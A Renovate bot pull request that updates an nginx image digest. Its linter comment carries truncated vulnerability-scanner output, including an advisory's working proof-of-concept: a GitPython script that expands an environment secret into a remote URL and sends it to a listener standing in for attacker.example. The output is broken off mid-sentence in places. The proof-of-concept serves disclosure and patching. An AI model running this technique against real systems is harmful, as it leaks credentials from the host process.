chore(deps): update docker.io/nginxinc/nginx-unprivileged:1.31.5 docker digest to 9d689e9 - #707
renovate[bot] wants to merge 1 commit into
Conversation
…er digest to 9d689e9
![renovate-approve-2[bot]](https://avatars.githubusercontent.com/in/62175?s=60&v=4){kind=small}
![renovate-approve[bot]](https://avatars.githubusercontent.com/in/7394?s=60&v=4){kind=small}
|
The Trivy vulnerability report is too large to display as a PR comment. Please view the full report in the workflow run summary. |
❌MegaLinter analysis: Error
Detailed Issues❌ REPOSITORY / osv-scanner - 1 error
The same unguarded call also sits at Steps to ReproducePrerequisites
Step 1: Install GitPython 3.1.53 in a clean venvmkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53Step 2: Write the PoCcat > poc.py <<'PYEOF'
#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading
import git
print("gitpython version:", git.__version__)
# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL
# Local HTTP server standing in for attacker.example.
captured = []
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
captured.append(self.path)
self.send_response(404)
self.end_headers()
def log_message(self, *a):
pass
srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
# Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port
def norm(s): # display the ephemeral listener port as a stable placeholder
return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")
print("attacker-supplied URL :", norm(attacker_url))
repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url) # public API
stored = repo.remote("evil").url
print("stored remote URL :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)
try:
remote.fetch() # transmits the expanded URL to the attacker host
except Exception:
pass # fetch fails after the request is already sent
srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)
print()
if SENTINEL in stored and over_network:
print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
print("VULNERABLE: env-var expanded into stored git-config URL")
else:
print("not reproduced")
PYEOFStep 3: Run itcd /tmp/gp-remote-poc && ./venv/bin/python poc.pyExpected output (the listener's ephemeral port is shown as The Suggested FixPass
More robustly, flip the Cleanuprm -rf /tmp/gp-remote-pocImpactAny secret in the hosting process environment ( warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87817' (also known as 'PYSEC-2026-3982', 'GHSA-239g-whfq-7xj9'). warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87818' (also known as 'PYSEC-2026-3983', 'GHSA-whh4-5q6c-9v3x'). warning: Package 'gitpython@3.1.54' is vulnerable to 'CVE-2026-87819' (also known as 'PYSEC-2026-3984', 'GHSA-g5vv-9gxw-82hx'). warning: 52 warnings emitted (Truncated to last 8000 characters out of 278440) warning: action installs an unpinned external tool: action implictly uses an unpinned latest version warning: 1 warnings emitted error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A critical vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt warning: A medium vulnerability in python package: soupsieve, version 2.8.4 was found at: /requirements.txt error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: soupsieve, version 2.8.4 was found at: /requirements.txt warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt error: A high vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: A medium vulnerability in python package: gitpython, version 3.1.54 was found at: /requirements.txt warning: 10 warnings emitted samples/charts/sample/README.md:5:9 error MD026/no-trailing-punctuation Trailing punctuation in heading [Punctuation: ';'] ector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9. warning: Package: soupsieve error: Package: urllib3 error: Package: urllib3 error: Package: urllib3 error: Package: urllib3 warning: Package: urllib3 warning: Artifact: samples/charts/sample/templates/deployment.yaml warning: 11 warnings emitted (Truncated to last 8000 characters out of 61032) |
This PR contains the following updates:
4210a32→9d689e9Configuration
📅 Schedule: (UTC)
* 0-3 * * 1)🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.